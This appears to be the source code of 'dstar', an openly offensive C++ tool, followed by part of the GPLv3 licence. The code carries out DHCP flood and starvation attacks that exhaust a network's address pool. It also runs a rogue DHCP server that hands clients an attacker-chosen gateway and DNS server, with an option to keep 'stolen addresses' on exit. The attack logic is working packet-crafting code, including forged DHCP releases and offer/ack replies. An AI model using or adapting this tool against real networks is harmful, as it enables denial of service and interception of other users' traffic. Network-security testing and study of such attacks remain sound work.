  6 | 	* it under the terms of the GNU General Public License as published by
  7 | 	* the Free Software Foundation, either version 3 of the License, or
  8 | 	* (at your option) any later version.
  9 | 	* This program is distributed in the hope that it will be useful,
 10 | 	* but WITHOUT ANY WARRANTY; without even the implied warranty of
 11 | 	* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 12 | 	* GNU General Public License for more details.
 13 | 	* You should have received a copy of the GNU General Public License
 14 | 	* along with this program. If not, see <http://www.gnu.org/licenses/>.
 15 | */
 16 | 
 17 | #include <iostream>
 18 | #include <cstring>
 19 | 
 20 | #include <DhcpSocket.h>
 21 | 
 22 | DhcpSocket::DhcpSocket() {
 23 |     this->buf = new unsigned char[SOCK_BUFSIZE];
 24 | }
 25 | 
 26 | DhcpSocket::~DhcpSocket() {
 27 |     if (this->sock != nullptr)
 28 |         spark_close(this->sock);
 29 |     delete[] this->buf;
 30 | }
 31 | 
 32 | int DhcpSocket::recvDhcp(unsigned char *buf, PacketInfo *pktInfo) {
 33 |     EthHeader *eth;
 34 |     Ipv4Header *ip;
 35 |     UdpHeader *udp;
 36 |     DhcpPacket *dhcp;
 37 |     int size;
 38 |     unsigned short checksum;
 39 | 
 40 |     if ((size = spark_read(this->sock, this->buf, nullptr)) < 0) {
 41 |         std::cerr << spark_strerror(size) << std::endl;
 42 |         exit(-1);
 43 |     }
 44 | 
 45 |     // ETHERNET
 46 |     eth = (EthHeader *) this->buf;
 47 |     if (ntohs(eth->eth_type) != ETHTYPE_IP)
 48 |         return 0;
 49 | 
 50 |     memcpy(pktInfo->phisAddr.mac, eth->shwaddr, ETHHWASIZE);
 51 | 
 52 |     // IP
 53 |     ip = (Ipv4Header *) eth->data;
 54 |     if (ntohs(ip->len) - ((unsigned short) (ip->ihl * 4)) == 0) // Ignore empty packet
 55 |         return 0;
 56 |     if (ip->protocol != 0x11) // UDP
 57 |         return 0;
 58 |     checksum = ip->checksum;
 59 |     if (ip_checksum(ip) != checksum) // Sanity check
 60 |         return 0;
 61 |     ip->checksum = checksum;
 62 | 
 63 |     pktInfo->ipSrc.ip = ip->saddr;
 64 |     pktInfo->ipDst.ip = ip->daddr;
 65 | 
 66 |     // UDP
 67 |     udp = (UdpHeader *) (((unsigned char *) ip) + (ip->ihl * 4));
 68 |     if (ntohs(udp->srcport) != 67 && ntohs(udp->srcport) != 68)
 69 |         return 0;
 70 |     checksum = udp->checksum;
 71 |     if (udp_checksum(udp, ip) != checksum) // Sanity check
 72 |         return 0;
 73 | 
 74 |     // DHCP
 75 |     dhcp = (DhcpPacket *) udp->data;
 76 |     if (dhcp->option != htonl(DHCP_MAGIC_COOKIE))
 77 |         return 0;
 78 | 
 79 |     size = (ntohs(ip->len) - (ip->ihl * 4)) - UDPHDRSIZE;
 80 |     pktInfo->toServer = ntohs(udp->srcport) == 68 && ntohs(udp->dstport) == 67;
 81 |     memcpy(buf, dhcp, DHCPPKTSIZE);
 82 |     return size;
 83 | }
 84 | 
 85 | int DhcpSocket::sendDhcpMsg(DhcpPacket *message, unsigned short len, PacketInfo *pktInfo) {
 86 |     unsigned char buf[SOCK_BUFSIZE];
 87 |     EthHeader *eth;
 88 |     Ipv4Header *ip;
 89 |     UdpHeader *udp;
 90 |     unsigned short src = 67;
 91 |     unsigned short dst = 68;
 92 | 
 93 |     if (len > DHCPPKTSIZE)
 94 |         return -EOVERFLOW;
 95 | 
 96 |     if (pktInfo->toServer) {
 97 |         src = 68;
 98 |         dst = 67;
 99 |     }
100 | 
101 |     eth = eth_inject_header(buf, &this->sock->iaddr, &pktInfo->phisAddr, ETHTYPE_IP);
102 |     ip = ip_inject_header((unsigned char *) eth->data,
103 |                           &pktInfo->ipSrc,
104 |                           &pktInfo->ipDst, IPDEFIHL,
105 |                           ip_mkid(),
106 |                           (unsigned short) UDPHDRSIZE + len,
107 |                           IPDEFTTL,
108 |                           0x11);
109 |     udp = udp_inject_header((unsigned char *) ip->data, src, dst, len);
110 |     memcpy(udp->data, message, len);
111 |     return spark_write(this->sock, buf, ETHHDRSIZE + IPHDRSIZE + UDPHDRSIZE + len);
112 | }
113 | 
114 | void DhcpSocket::sendDhcpRelease(DhcpSlot *slot) {
115 |     DhcpPacket packet{};
116 |     PacketInfo pktInfo{};
117 |     int err;
118 | 
119 |     pktInfo.phisAddr = slot->serverMac;
120 |     pktInfo.ipSrc = slot->clientIp;
121 |     pktInfo.ipDst = slot->serverIp;
122 |     pktInfo.toServer = true;
123 | 
124 |     dhcp_inject_release((unsigned char *) &packet, &slot->fakeClientMac, &slot->clientIp, &slot->serverIp, 0);
125 | 
126 |     if ((err = this->sendDhcpMsg(&packet, DHCPPKTSIZE, &pktInfo)) < 0)
127 |         std::cerr << "DhcpSocket (sendDhcpRelease): " << spark_strerror(err) << std::endl;
128 | }
129 | 
130 | void DhcpSocket::openSocket(const std::string &interface) {
131 |     int err;
132 | 
133 |     if ((err = spark_opensock((char *) interface.c_str(), SOCK_BUFSIZE, &this->sock)) != SPKERR_SUCCESS) {
134 |         std::cerr << spark_strerror(err) << std::endl;
135 |         exit(-1);
136 |     }
137 | 
138 |     if ((err = netdev_get_ip((char *) interface.c_str(), &this->netinfo.ipAddr)) != SPKERR_SUCCESS) {
139 |         std::cerr << spark_strerror(err) << std::endl;
140 |         exit(-1);
141 |     }
142 | 
143 |     if ((err = netdev_get_netmask((char *) interface.c_str(), &this->netinfo.netMask)) != SPKERR_SUCCESS) {
144 |         std::cerr << spark_strerror(err) << std::endl;
145 |         exit(-1);
146 |     }
147 | }


--------------------------------------------------------------------------------
/src/main.cpp:
--------------------------------------------------------------------------------
  1 | /*
  2 | 	* dstar
  3 | 	* Copyright (C) 2017 - 2018 Jacopo De Luca
  4 | 	*
  5 | 	* This program is free software: you can redistribute it and/or modify
  6 | 	* it under the terms of the GNU General Public License as published by
  7 | 	* the Free Software Foundation, either version 3 of the License, or
  8 | 	* (at your option) any later version.
  9 | 	* This program is distributed in the hope that it will be useful,
 10 | 	* but WITHOUT ANY WARRANTY; without even the implied warranty of
 11 | 	* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 12 | 	* GNU General Public License for more details.
 13 | 	* You should have received a copy of the GNU General Public License
 14 | 	* along with this program. If not, see <http://www.gnu.org/licenses/>.
 15 | */
 16 | 
 17 | #include <iostream>
 18 | #include <unistd.h>
 19 | 
 20 | #include <argsx.h>
 21 | #include <dstar.h>
 22 | #include <csignal>
 23 | 
 24 | #include <Options.h>
 25 | #include <Core.h>
 26 | 
 27 | using namespace std;
 28 | 
 29 | Core core{};
 30 | 
 31 | int main(int argc, char **argv) {
 32 |     ax_lopt lopt[] = {{(char *) "flood",      ARGSX_NOARG,   1},
 33 |                       {(char *) "starvation", ARGSX_NOARG,   2},
 34 |                       {(char *) "no-release", ARGSX_NOARG,   3},
 35 |                       {(char *) "help",       ARGSX_NOARG,   'h'},
 36 |                       {(char *) "version",    ARGSX_NOARG,   'v'},
 37 |                       {(char *) "bcast",      ARGSX_NOARG,   'b'},
 38 |                       {(char *) "server",     ARGSX_NOARG,   's'},
 39 |                       {(char *) "gateway",    ARGSX_REQ_ARG, 'g'},
 40 |                       {(char *) "lease",      ARGSX_NOARG,   'l'},
 41 |                       {(char *) "dns",        ARGSX_REQ_ARG, 'd'}};
 42 |     int opt;
 43 | 
 44 |     if (argc < 2) {
 45 |         usage();
 46 |         return 0;
 47 |     }
 48 | 
 49 |     while ((opt = argsx(argc, argv, (char *) "hvbsg!ld!", lopt, sizeof(lopt), '-')) != -1) {
 50 |         switch (opt) {
 51 |             case 1:
 52 |                 core.options.mode |= ATKMODE_FLOOD;
 53 |                 break;
 54 |             case 2:
 55 |                 core.options.mode |= ATKMODE_STARVATION;
 56 |                 break;
 57 |             case 3:
 58 |                 core.options.releaseOnExit = false;
 59 |                 break;
 60 |             case 'h':
 61 |                 usage();
 62 |                 return 0;
 63 |             case 'v':
 64 |                 printf("\n%s (%s) v%d.%d.%d\n", NAME, VERSION_TYPE, VERSION_MAJOR, VERSION_MINOR, VERSION_PATCH);
 65 | #ifdef __GNUC__
 66 |                 printf("Compiled with G++ v%d.%d.%d - Date: %s - %s\n", __GNUC__, __GNUC_MINOR__, __GNUC_PATCHLEVEL__,
 67 |                        __DATE__, __TIME__);
 68 | #endif
 69 |                 return 0;
 70 |             case 'b':
 71 |                 core.options.serverFlags |= DHCP_FLAGS_BROADCAST;
 72 |                 break;
 73 |             case 's':
 74 |                 core.options.enableServer = true;
 75 |                 break;
 76 |             case 'g':
 77 |                 if (!ip_parse_addr(ax_arg, &core.options.gateway)) {
 78 |                     cerr << "Invalid gateway address!\n";
 79 |                     return -1;
 80 |                 }
 81 |                 break;
 82 |             case 'l':
 83 |                 core.options.lease = (unsigned short) strtoul(ax_arg, nullptr, 10);
 84 |                 break;
 85 |             case 'd':
 86 |                 if (!ip_parse_addr(ax_arg, &core.options.primaryDns)) {
 87 |                     cerr << "Invalid DNS address!\n";
 88 |                     return -1;
 89 |                 }
 90 |                 break;
 91 |             case ARGSX_BAD_OPT:
 92 |                 return -1;
 93 |             case ARGSX_FEW_ARGS:
 94 |                 return -1;
 95 |             default:
 96 |                 core.options.iface = string(ax_arg);
 97 |                 break;
 98 |         }
 99 |     }
100 | 
101 |     if (getuid()) {
102 |         cerr << "Required elevated privileges!\n";
103 |         return -1;
104 |     }
105 | 
106 |     if (core.registerAction() != 0) {
107 |         printWelcome();
108 |         if (core.options.enableServer)
109 |             cout << "[+] DHCP server\n";
110 |         else
111 |             cout << "[-] DHCP server\n";
112 |         signal(SIGINT, sigHandler);
113 |         core.openSocket();
114 |     } else
115 |         printf("Nothing to do here! Zzzz\n"
116 |                        "Psss, you can try with %s --help ;)\n", NAME);
117 | 
118 |     return 0;
119 | }
120 | 
121 | void printWelcome() {
122 |     static const string welcome(R"(
123 | 
124 | @@@@@@@    @@@@@@   @@@@@@@   @@@@@@   @@@@@@@
125 | @@@@@@@@  @@@@@@@   @@@@@@@  @@@@@@@@  @@@@@@@@
126 | @@!  @@@  !@@         @@!    @@!  @@@  @@!  @@@
127 | !@!  @!@  !@!         !@!    !@!  @!@  !@!  @!@
128 | @!@  !@!  !!@@!!      @!!    @!@!@!@!  @!@!!@!
129 | !@!  !!!   !!@!!!     !!!    !!!@!!!!  !!@!@!
130 | !!:  !!!       !:!    !!:    !!:  !!!  !!: :!!
131 | :!:  !:!      !:!     :!:    :!:  !:!  :!:  !:!
132 |  :::: ::  :::: ::      ::    ::   :::  ::   :::
133 | :: :  :   :: : :       :      :   : :   :   : :
134 |                                                  )");
135 |     cout << welcome;
136 |     printf("v%d.%d.%d (%s)\n\n", VERSION_MAJOR, VERSION_MINOR, VERSION_PATCH, VERSION_TYPE);
137 | }
138 | 
139 | void usage() {
140 |     printf("\n%s - v%d.%d.%d (%s)"
141 |                    "\nUsage: %s <iface> --<flood|starvation>\n"
142 |                    "\t-h, --help   \tPrint this help and exit.\n"
143 |                    "\t-v, --version\tPrint version and exit.\n"
144 |                    "\t-b, --bcast  \tUse broadcast reply.\n"
145 |                    "\t-s, --server \tEnable dhcp rogue server.\n"
146 |                    "\t-l, --lease  \tSet lease time.\n"
147 |                    "\t-d, --dns    \tSet primary DNS address.\n"
148 |                    "\t-g, --gateway\tSet gateway address.\n"
149 |                    "\t--no-release \tDo not release stolen addresses on exit.\n",
150 |            NAME,
151 |            VERSION_MAJOR,
152 |            VERSION_MINOR,
153 |            VERSION_PATCH,
154 |            VERSION_TYPE,
155 |            NAME);
156 | }
157 | 
158 | void sigHandler(int signum) {
159 |     cout << "Stopping..." << endl;
160 |     core.options.stop = true;
161 | }


--------------------------------------------------------------------------------
/src/Core.cpp:
--------------------------------------------------------------------------------
  1 | /*
  2 | 	* dstar
  3 | 	* Copyright (C) 2017 - 2018 Jacopo De Luca
  4 | 	*
  5 | 	* This program is free software: you can redistribute it and/or modify
  6 | 	* it under the terms of the GNU General Public License as published by
  7 | 	* the Free Software Foundation, either version 3 of the License, or
  8 | 	* (at your option) any later version.
  9 | 	* This program is distributed in the hope that it will be useful,
 10 | 	* but WITHOUT ANY WARRANTY; without even the implied warranty of
 11 | 	* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 12 | 	* GNU General Public License for more details.
 13 | 	* You should have received a copy of the GNU General Public License
 14 | 	* along with this program. If not, see <http://www.gnu.org/licenses/>.
 15 | */
 16 | 
 17 | #include <unistd.h>
 18 | #include <iostream>
 19 | #include <cstring>
 20 | #include <DhcpSocket.h>
 21 | #include <Core.h>
 22 | #include <actions/Starvation.h>
 23 | #include <actions/Flood.h>
 24 | 
 25 | void Core::addDhcpDefaultOpt(DhcpPacket *message, DhcpSlot *slot, unsigned char type) {
 26 |     int op = 0;
 27 | 
 28 |     message->options[op++] = DHCP_MESSAGE_TYPE;
 29 |     message->options[op++] = 0x01;
 30 |     message->options[op++] = type;
 31 |     message->options[op] = 0xFF;
 32 | 
 33 |     dhcp_append_option(message, DHCP_SERVER_IDENTIFIER, IPADDRSIZE, (unsigned char *) &this->socket.netinfo.ipAddr.ip);
 34 |     dhcp_append_option(message, DHCP_REQ_SUBMASK, IPADDRSIZE, (unsigned char *) &this->socket.netinfo.netMask.ip);
 35 | 
 36 |     // ROUTER
 37 |     if (ip_isempty(&this->options.gateway))
 38 |         dhcp_append_option(message, DHCP_REQ_ROUTERS, IPADDRSIZE, (unsigned char *) &this->socket.netinfo.ipAddr.ip);
 39 |     else
 40 |         dhcp_append_option(message, DHCP_REQ_ROUTERS, IPADDRSIZE, (unsigned char *) &this->options.gateway);
 41 | 
 42 |     // PRIMARY DNS
 43 |     if (ip_isempty(&this->options.primaryDns)) {
 44 |         if (ip_isempty(&slot->primaryDns))
 45 |             dhcp_append_option(message, DHCP_REQ_DNS, IPADDRSIZE, (unsigned char *) &this->socket.netinfo.ipAddr.ip);
 46 |         else
 47 |             dhcp_append_option(message, DHCP_REQ_DNS, IPADDRSIZE, (unsigned char *) &slot->primaryDns.ip);
 48 |     } else
 49 |         dhcp_append_option(message, DHCP_REQ_DNS, IPADDRSIZE, (unsigned char *) &this->options.primaryDns.ip);
 50 | 
 51 |     // LEASE TIME
 52 |     op = htonl(slot->lease);
 53 |     if (this->options.lease != 0)
 54 |         op = htonl(this->options.lease);
 55 |     dhcp_append_option(message, DHCP_ADDR_LEASE_TIME, 4, (unsigned char *) &op);
 56 | }
 57 | 
 58 | void Core::dhcpServer(DhcpPacket *message) {
 59 |     DhcpPacket response{};
 60 |     PacketInfo pktInfo{};
 61 |     DhcpSlot *slot = nullptr;
 62 |     char ip[IPSTRLEN];
 63 |     char mac[ETHSTRLEN];
 64 |     netaddr_ip(clientIp);
 65 |     netaddr_mac(clientMac);
 66 |     int tmp = 0;
 67 | 
 68 |     clientIp.ip = message->ciaddr;
 69 |     memcpy(clientMac.mac, message->chaddr, ETHHWASIZE);
 70 | 
 71 |     if (dhcp_type_equals(message, DHCP_DISCOVER)) {
 72 |         if ((slot = this->pool.getFreeSlot(&clientMac, message->xid)) == nullptr)
 73 |             return;
 74 | 
 75 |         // OFFER
 76 |         dhcp_inject_raw((unsigned char *) &response,
 77 |                         DHCP_OP_BOOT_REPLY,
 78 |                         0,
 79 |                         message->xid,
 80 |                         0,
 81 |                         this->options.serverFlags,
 82 |                         nullptr,
 83 |                         &slot->clientIp,
 84 |                         &this->socket.netinfo.ipAddr,
 85 |                         nullptr,
 86 |                         nullptr,
 87 |                         nullptr);
 88 |         memcpy(response.chaddr, message->chaddr, ETHHWASIZE);
 89 |         this->addDhcpDefaultOpt(&response, slot, DHCP_OFFER);
 90 | 
 91 |         // INFO
 92 |         pktInfo.ipSrc = this->socket.netinfo.ipAddr;
 93 |         pktInfo.toServer = false;
 94 | 
 95 |         if (this->options.serverFlags & DHCP_FLAGS_BROADCAST) {
 96 |             pktInfo.ipDst.ip = 0xFFFFFFFF;
 97 |             eth_bcast(&pktInfo.phisAddr);
 98 |         } else {
 99 |             pktInfo.ipDst.ip = slot->clientIp.ip;
100 |             memcpy(pktInfo.phisAddr.mac, message->chaddr, ETHHWASIZE);
101 |         }
102 | 
103 |         if ((tmp = this->socket.sendDhcpMsg(&response, DHCPPKTSIZE, &pktInfo)) < 0)
104 |             std::cerr << "DHCP server err: " << spark_strerror(tmp) << std::endl;
105 |         else {
106 |             printf("[ROGUE SERVER]: Reply with offer(%s) to client: %s\n", ip_getstr_r(&slot->clientIp, ip),
107 |                    eth_getstr_r(&slot->clientMac, mac));
108 |         }
109 |     } else if (dhcp_type_equals(message, DHCP_REQUEST)) {
110 |         if ((slot = this->pool.getSlot(&clientMac, message->xid)) == nullptr)
111 |             return;
112 | 
113 |         if (dhcp_get_option_uint(message, 50) != slot->clientIp.ip) {
114 |             std::cerr << "The request ID does not match the requested address, DHCP REQUEST ignored!\n";
115 |             slot->xid = 0;
116 |             return;
117 |         }
118 | 
119 |         if (dhcp_get_option_uint(message, 54) != this->socket.netinfo.ipAddr.ip) {
120 |             slot->xid = 0;
121 |             return;
122 |         }
123 | 
124 |         slot->assigned = true;
125 | 
126 |         // ACK
127 |         dhcp_inject_raw((unsigned char *) &response,
128 |                         DHCP_OP_BOOT_REPLY,
129 |                         0,
130 |                         message->xid,
131 |                         0,
132 |                         this->options.serverFlags,
133 |                         nullptr,
134 |                         &slot->clientIp,
135 |                         &this->socket.netinfo.ipAddr,
136 |                         nullptr,
137 |                         nullptr,
138 |                         nullptr);
139 |         memcpy(response.chaddr, message->chaddr, ETHHWASIZE);
140 |         this->addDhcpDefaultOpt(&response, slot, DHCP_ACK);
141 | 
142 |         // INFO
143 |         pktInfo.ipSrc = this->socket.netinfo.ipAddr;
144 |         pktInfo.toServer = false;
145 |         if (this->options.serverFlags & DHCP_FLAGS_BROADCAST) {
146 |             pktInfo.ipDst.ip = 0xFFFFFFFF;
147 |             eth_bcast(&pktInfo.phisAddr);
148 |         } else {
149 |             pktInfo.ipDst.ip = slot->clientIp.ip;
150 |             memcpy(pktInfo.phisAddr.mac, message->chaddr, ETHHWASIZE);
151 |         }
152 |         if ((tmp = this->socket.sendDhcpMsg(&response, DHCPPKTSIZE, &pktInfo)) < 0)
153 |             std::cerr << "DHCP server err: " << spark_strerror(tmp) << std::endl;
154 |         else {
155 |             printf("[ROGUE SERVER]: Offer accepted, now %s is %s!\n", ip_getstr_r(&slot->clientIp, ip),
156 |                    eth_getstr_r(&slot->clientMac, mac));
157 |         }
158 |     } else if (dhcp_type_equals(message, DHCP_RELEASE))
159 |         this->pool.releaseSlot(&clientMac, &clientIp);
160 | }
161 | 
162 | void Core::executeActions() {
163 |     unsigned short wtime;
164 | 
165 |     while (!this->options.stop) {
166 |         this->action->action(&this->socket);
167 |         if ((wtime = this->action->getWaitingTime()) != 0)
168 |             usleep(wtime);
169 |     }
170 | }
171 | 
172 | void Core::recvDhcp() {
173 |     DhcpPacket packet{};
174 |     PacketInfo pktInfo{};
175 | 
176 |     while (!this->options.stop) {
177 |         if (this->socket.recvDhcp((unsigned char *) &packet, &pktInfo) == 0)
178 |             continue;
179 | 
180 |         this->action->recvDhcpMsg(&this->socket, &this->pool, &pktInfo, &packet);
181 | 
182 |         if (this->options.enableServer)
183 |             this->dhcpServer(&packet);
184 |     }
185 | }
186 | 
187 | int Core::registerAction() {
188 |     if (this->options.mode & ATKMODE_FLOOD) {
189 |         this->action = new Flood(&this->options);
190 |     } else if (this->options.mode & ATKMODE_STARVATION) {
191 |         this->action = new Starvation(&this->options);
192 |     }
193 |     return this->options.mode;
194 | }
195 | 
196 | void Core::openSocket() {
197 |     this->socket.openSocket(this->options.iface);
198 | 
199 |     this->thActions = std::thread(&Core::executeActions, this);
200 | 
201 |     this->recvDhcp();
202 | 
203 |     pthread_cancel(this->thActions.native_handle()); // is safe (?.?)
204 |     this->thActions.join();
205 | 
206 |     if (this->options.releaseOnExit && !this->pool.empty()) {
207 |         std::cout << "Releasing addresses...\n";
208 |         this->releasePool();
209 |         std::cout << "All done!\n";
210 |     }
211 | }
212 | 
213 | void Core::releasePool() {
214 |     DhcpSlot *slot;
215 |     while (!this->pool.empty()) {
216 |         slot = this->pool.popAndErase();
217 |         this->socket.sendDhcpRelease(slot);
218 |         delete slot;
219 |         usleep(5000);
220 |     }
221 | }
222 | 


--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
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443 | not accept this License.  Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 | 
446 |   10. Automatic Licensing of Downstream Recipients.
447 | 
448 |   Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License.  You are not responsible
451 | for enforcing compliance by third parties with this License.
452 | 
453 |   An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations.  If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 | 
463 |   You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License.  For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 | 
471 |   11. Patents.
472 | 
473 |   A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based.  The
475 | work thus licensed is called the contributor's "contributor version".
476 | 
477 |   A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version.  For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 | 
487 |   Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 | 
492 |   In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement).  To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 | 
499 |   If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients.  "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 | 
513 |   If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 | 
521 |   A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License.  You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 | 
536 |   Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 | 
540 |   12. No Surrender of Others' Freedom.
541 | 
542 |   If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License.  If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all.  For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 | 
552 |   13. Use with the GNU Affero General Public License.
553 | 
554 |   Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work.  The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 | 
563 |   14. Revised Versions of this License.
564 | 
565 |   The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time.  Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 | 
570 |   Each version is given a distinguishing version number.  If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation.  If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 | 
579 |   If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 | 
584 |   Later license versions may give you additional or different
585 | permissions.  However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 | 
589 |   15. Disclaimer of Warranty.
590 | 
591 |   THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 | 
600 |   16. Limitation of Liability.
601 | 
602 |   IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 | 
612 |   17. Interpretation of Sections 15 and 16.
613 | 
614 |   If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 | 
621 |                      END OF TERMS AND CONDITIONS
622 | 
623 |             How to Apply These Terms to Your New Programs
624 | 
625 |   If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 | 
629 |   To do so, attach the following notices to the program.  It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 | 
634 |     <one line to give the program's name and a brief idea of what it does.>
635 |     Copyright (C) <year>  <name of author>
636 | 
637 |     This program is free software: you can redistribute it and/or modify
638 |     it under the terms of the GNU General Public License as published by
639 |     the Free Software Foundation, either version 3 of the License, or
640 |     (at your option) any later version.
641 | 
642 |     This program is distributed in the hope that it will be useful,
643 |     but WITHOUT ANY WARRANTY; without even the implied warranty of
644 |     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
645 |     GNU General Public License for more details.
646 | 
647 |     You should have received a copy of the GNU General Public License
648 |     along with this program.  If not, see <http://www.gnu.org/licenses/>.
649 | 
650 | Also add information on how to contact you by electronic and paper mail.
651 | 
652 |   If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 | 
655 |     <program>  Copyright (C) <year>  <name of author>
656 |     This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 |     This is free software, and you are welcome to redistribute it
658 |     under certain conditions; type `show c' for details.
659 | 
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License.  Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 | 
664 |   You should also get your employer (if you work as a programmer) or school,
